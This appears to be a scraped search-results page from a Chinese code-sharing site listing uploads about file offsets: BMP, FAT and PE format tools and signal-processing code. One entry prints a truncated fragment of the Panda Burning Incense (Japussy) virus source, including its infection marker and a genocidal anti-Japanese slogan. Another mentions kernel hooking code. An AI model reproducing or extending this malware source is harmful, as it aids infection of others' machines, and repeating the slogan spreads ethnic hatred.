Location:
Search - file offset
Search list
Description: 从BMP文件中装入位图并显示
the bmp file has four sections. the first is bitmapfileheader. this contains the bitmap file signature, the size of the bitmap and the offset to the array of bits that define the bitmap image. the next section is the bitmapinfoheader. this contains information such as the height and widht of the bitmap and the number of colors used. this section is followed by the color table. the color table contains two or more rgbquad structures the final section is the actual bits that define the bitmap image.
by the way, the bmp file holds a device independent bitmap and sometimes the extension used is dib.
the steps outlined below is valid for both windows 95 and windows nt. on windows 95, you can also use the loadimage() function to load a bitmap from a file. although windows nt also supports this function, it does not support the lr_loadfromfile flag. -from BMP file loaded bitmap and show the bmp file has four sections. The first is bitmapfileheader. This contains the bitmap file signature, the size of the bitmap and the offset to the array of bits that define the bitmap image. The next section is the bitmapinfoheader. this contains information such as the height and widht of the bitmap and the number of colors used. this section is followed by the color table. the color table contains two or more structures rgbquad the final section is the actual bits that define the bitmap image. by the way, the bmp file holds a device independent bitmap and sometimes the extension used is Freehand. the steps outlined below is valid for both Windows 95 and Windows NT. on Windows 95, you can also use the loadimage () function to load a bitmap from a fil
Platform: |
Size: 7590 |
Author: 刘永平 |
Hits:
Description: 编译环境：VC6.0及以上版本
读写扇区(以字节或字读取)
读写簇(以字节或字读取)
读取FAT项
获取BPB信息
获取某文件或文件夹的目录项信息(入口簇及偏移量)
设置目录项信息(可以通过这来实现更改文件名，文件属性，创建时间等信息)-build environment : VC6.0 and above reader Sector (byte or word reader) to read and write Cluster (byte or word reader) to read FAT items BPB access information access a document or folder directory information items (imported cluster and offset) the installation of Contents items (which can be passed to to achieve change file names, file attributes, create time information)
Platform: |
Size: 84820 |
Author: 郭发发 |
Hits:
Description: EXE文件格式分析:包括调用文件，D0S头分析，数据目录表，文件偏移量，节表描述，程序入口在文件中的偏移位置和属性查询-EXE file format Analysis : Calling including documents, D0S first analysis, data directories, documents offset, Table section describes procedures at the entrance of the paper offset location and attribute queries
Platform: |
Size: 37450 |
Author: 路阳 |
Hits:
Description: 设置起始地址，文件大小，名字，就可以剪切出想要的Bin文件的某个部分
printf(" filecut \r\n");
printf("\r\n");
printf(" /address : File Offset\r\n");
printf("\r\n");
printf(" /sizeof : File size\r\n");
Platform: |
Size: 943 |
Author: sean_xu_rc@126.com |
Hits:
Description: PE文件外壳查询工具，功能类似PEid软件，带有VA及Offset换算~
通过学习这个软件的源码，你会对PE文件格式有进一步的了解。希望它能够给你在学习PE文件格式编程的过程中带来一些帮助。-PE file shell query tools, functions PEiD similar software, with VA and Offset conversion ~ Through the study of the software source code, you will have a PE file format for further understanding. I hope that it will give you PE file format in the learning process of programming bring some help.
Platform: |
Size: 698368 |
Author: 宋芬 |
Hits:
Description: 将PE文件映射到内存的虚拟地址转成文件偏移-PE file will be mapped to virtual memory addresses into file offset
Platform: |
Size: 698368 |
Author: adfy |
Hits:
Description: This file contains a matlab file for blind carrier estimation which compute the phase and frequency offset of carrier due to Doppler shift.
Platform: |
Size: 1024 |
Author: Abbas |
Hits:
Description: This file is the matlab source code for offset QPSK (OQPSK) modulation and demodulation in wireless and mobile communications
Platform: |
Size: 1024 |
Author: Abbas |
Hits:
Description: 取page段地址的代码 大概包括了ssdt, idt, msr钩子,3种notify,还有从文件读取偏移抗猥琐的代码. 支持这个编程板块-Get page segment address code probably includes ssdt, idt, msr hook, three kinds of notify, also read from the file offset anti-insignificant code. To support the programming plate
Platform: |
Size: 11264 |
Author: r00tsh3ll |
Hits:
Description: oc小程序，来定位内存地址和文件偏移地址的号工具，相信很多人回使用到！-oc small program to locate the memory address and file offset of the number tools, I believe many people use to back!
Platform: |
Size: 1024 |
Author: 海洋 |
Hits:
Description: This is a file for Blind frequency offset
estimation for overlap PCC-OFDM systems
in presence of phase noise
Platform: |
Size: 681984 |
Author: katha |
Hits:
Description: 文件偏移和内存偏移互转工具,源码清晰 适合初学者！-File offset and memory offset system conversion tool, the source is clear and suitable for beginners!
Platform: |
Size: 67584 |
Author: zsc20101 |
Hits:
Description:
熊猫烧香原代码
熊猫烧香, 十六进制, Windows, 源代码, 字符串
熊猫烧香源代码
program Japussy
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}
const
HeaderSize = 82432 //病毒体的大小
IconOffset = EB8 //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912 //Upx压缩过病毒体的大小
IconOffset = BC //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8 //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize //PE文件主图标的尾部
ID = 444444 //感染标记
//垃圾码，以备写入
Catchword = If a race need to be killed out, it must be Yamato. +
If a country need to be destroyed, it must be Japan! +
***
{$R *.RES}
function : Integer): Integer-Panda original code Panda burning incense, hexadecimal, Windows source code, string the panda source code program Japussy uses Windows, the SysUtils the Classes, Graphics, ShellAPI {, Registry} const HeaderSize = 82 432 // virions the the size of IconOffset = EB8 // PE file main icon offset// in the above compile my Delphi5 SP1 size, other versions of Delphi may be different// Find 2800000020 hexadecimal string can be found in the main icon the offset {HeaderSize = 38912 // Upx compression over the the virus body size IconOffset = BC // Upx compressed PE file offset of the main icons the// Upx 1.24W Usage: upx-9- 8086 Japussy. exe} IconSize = E8 // PE file main icon size the- 744 the byte IconTail = IconOffset+ IconSize // tail of the PE file main icon ID = 444 444 // infection markers// junk yard to prepare written Catchword = ' If a race need to be killed out, it must be Yamato.' +' If a country need to be destroyed, it must be Japan! ' +' *** {$ R*. RES} function:
Platform: |
Size: 4096 |
Author: 炎热 |
Hits:
Description: 例如,文件偏移地址0x0c15, 提取特征码长度：0x10(16)特征码内容：0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 我们现在就可以用程序来实现代码的比较了，可以简单的一段小程序来判断.：-For example, the file offset address 0x0c15 extracted signature length: 0x10 (16) signature content: 0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 we now can use the program to implement the code comparison can be a small program to determine:
Platform: |
Size: 1024 |
Author: ali |
Hits:
Description: Constructs an instance. The file offset is initially unknown.
Platform: |
Size: 5120 |
Author: vaoluzo |
Hits:
Description: 计算文件大小，文件偏移量，查看文件的属性，经过调试，运行正确-Properties calculate the file size, file offset, view files, after commissioning, operating correctly
Platform: |
Size: 6144 |
Author: 张祥 |
Hits:
Description: It can load a library at a memory fixed address, or a fixed file offset (both must be page-aligned).
-It can load a library at a memory fixed address, or a fixed file offset (both must be page-aligned).
Platform: |
Size: 5120 |
Author: gmcengen |
Hits:
Description: Check that the file offset is also properly page-aligned.
Platform: |
Size: 5120 |
Author: zerxmcue |
Hits:
Description: GTEST_ASSERT_ is the basic statement to which all of the assertions in this file reduce. Don t use this in your code.
Platform: |
Size: 3072 |
Author: yengjeipp |
Hits:
Description: oc小程序，来定位内存地址和文件偏移地址的号工具，相信很多人回使用到！-oc small program to locate the memory address and file offset of the number tools, I believe many people use to back!
Platform: |
Size: 1024 |
Author: shaan88987 |
Hits: